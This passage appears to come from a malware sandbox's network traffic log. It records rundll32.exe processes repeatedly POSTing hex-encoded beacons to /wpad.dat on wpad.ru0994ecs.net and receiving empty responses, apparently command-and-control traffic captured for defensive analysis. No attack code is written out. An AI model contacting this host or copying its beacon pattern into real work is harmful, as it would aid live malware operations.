2024-04-16 21:02:53 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:53 UTC	547	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IC%2F%2FGyH9Nn%2BAsgLNSzw%2FM2d%2BQByJsP%2FrrDeF40fUTTsBzlmiRl3AF9t7OUlRZLGnW2MgbNBRWzEGm6rAX%2FZkhPeSNJymWfGZARMoFiMzL8IgTS%2FitmmI0avM%2Bh2T2Q8Pataj%2FlA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e714ab28bb5-ATL
2024-04-16 21:02:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49772	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:53 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:53 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:54 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ayTqme%2B3JPeRMBjtFTPGO3Xt7AnHpJSKOVLIjb8DSdQgJdiMEJyysWRuMaEUxU8Z0N%2Fhi2fNzPaPvb%2FzQ8dHHqEdGbOMJopU0ZNE6KLnU5D4eySQ%2FGm0qiwPmwv6av4Bf2wgA%2Bo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e749ccab08d-ATL
2024-04-16 21:02:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49773	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:54 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:54 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:54 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l026zN6qgmHUtOZqtg3stE4b7wYZbcFoVFcrPCqvPrzfiIk0gDgNjrWIes1UGrjqSzAaEdQOkkknTMCO0uLYXiF8h97JvXrfMKwrOIrKkqpVZbF%2F0JOSkZQMeQaoN%2BbqXd5eWrQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e75087d1d76-ATL
2024-04-16 21:02:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49774	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:54 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:54 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:54 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5EIjZMqit8n9rJ1GbCdQB1pFCqlNtG8QbcKsMWGSK2NbGBQEgWxPHUhG31bXY%2Fvr%2Fc0xuu%2FFtkFO%2BrYnwHyYaBY%2Ftdrefnis1gKG6H9P%2FAbLTKurONUFuS3NB70zDhMobHCOH64%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e76aaf04558-ATL
2024-04-16 21:02:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49775	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:55 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:55 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:56 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s87Fsb%2FKwHeksJ5%2F%2BoTIoIOT9HiGnjv5iMVIuFa0b2xxkErPPQiW96HWSqBfz9ELOY36uu7u5w1xYgCMBnE6Sw9ua53Wiv9avQiU%2BZm%2FEBXW7jz3ewU3I1DvAh%2FgxJMGZI%2FI93U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e810f516763-ATL
2024-04-16 21:02:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49776	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:59 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:59 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:59 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j3C4%2Fnf4wktvMV%2BuvkW6aoJ9AO7NuLgHAD7r9NtIW5bDVtojdOvLHHbi%2B79A1vf0bkHCdbuTlFHrscqTkJjoz9HdmJ%2BSKQ%2Fq7076p%2Bfa%2Bshqh3K%2FEt93y1OTQFfk26CtV7OpLIE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e976a5553d0-ATL
2024-04-16 21:02:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49777	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:59 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:59 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:00 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yme6WJOzg8BKjJ%2FEHR2HwuwbgxwD8HwiU229fBSZ%2FwoBL%2BtWhs%2B6LkUozzrrduFPmZ%2BRhypYOM8B6macG4wyiiPPqlVw6Bq5CIJxWFxeW5EeQjgLqLCWLlxgXCw96%2BY%2FiDblPag%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e97cdba53f4-ATL
2024-04-16 21:03:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49778	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:59 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:59 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:59 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lhcpDD5HIOVpr8Y1rE54EzLMEFuJ1iVB%2BkHPj50BC4P0u1JK5GgGL9KieMXokDkkNYy%2Fsu4lzozkGofF4yCXZo0OdilafSHZRSadGsQ%2Beop4xTHafOfAX%2BhpVAj%2BuoXPOdiZIfs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e97fc8d4519-ATL
2024-04-16 21:02:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49779	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:03 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:03 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:03 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ykjY3GoFYdTR1nSMMVWICeU95lLCfiz%2FTaAmlvjPOTwh7Hu2VRn7Y%2BKuxkAJJ39Qj7I3Sg%2FbNj6XNbd21rhkOwO0OkyzVOePEfj6aZYnYWHvfqM44mUzJHv%2FYvOQ9f%2BBp9SXPg0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571eadcb3d44d0-ATL
2024-04-16 21:03:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49780	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:03 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:03 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:04 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xIMHbt3lbVuZxdbc69cnlOWV110bc7Mx8zp%2FaOYBqGEH89GT%2BvrvCFWx%2F8skieZmmr2DxQROOf5280fl3GMesdiw6oDJpzxgh9YJ2DV4xB4HO%2B020R2UV4iNlQsWJFINELNggkY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571eb18c4a4552-ATL
2024-04-16 21:03:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49781	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:04 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:04 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:04 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1nXyHPAaiBoJS4YsXs8XeU0ifQRbbk%2FA0Ya%2B4taKPC786E7ZnvozeYLohl31ysITUULqTgUPRphZ0W29WpqCAoIBfK9fnXJv5L61H3%2FyQLO5sLSUULJqnI8MIoNRY%2FivlPkwans%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571eb4cc0853d5-ATL
2024-04-16 21:03:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49782	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:04 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:04 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:04 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CM%2FO%2Bph2jUH1u9sHZuP5IrMswnqm4Lc3O5%2F7XId1TfaPasVKvF%2F0NDBvYK0TumasYZqCTgOoY0zEn%2BCC%2Ftg%2Fjxz0mFjmJlvIoAbc3DPbXqXEiv7QcRARZHwhl6oUdM4b6njO0rk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571eb4db2ead89-ATL
2024-04-16 21:03:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49783	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:06 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:06 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:06 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QCbIVd5bQVIWmO1IcPqQUhKgQwPM5oM4J9xZNQK6kD9xIwzzwaonQGXz%2BX%2FUnk%2BkDvtkL5S66lRnFMmvGrmiSZUjohMInJb3Za8%2FxUcW%2FmVfmJC0JmeSL3a7TMw7E1D9ZdKQI%2Bo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571ec0cfba450b-ATL
2024-04-16 21:03:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49784	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:06 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
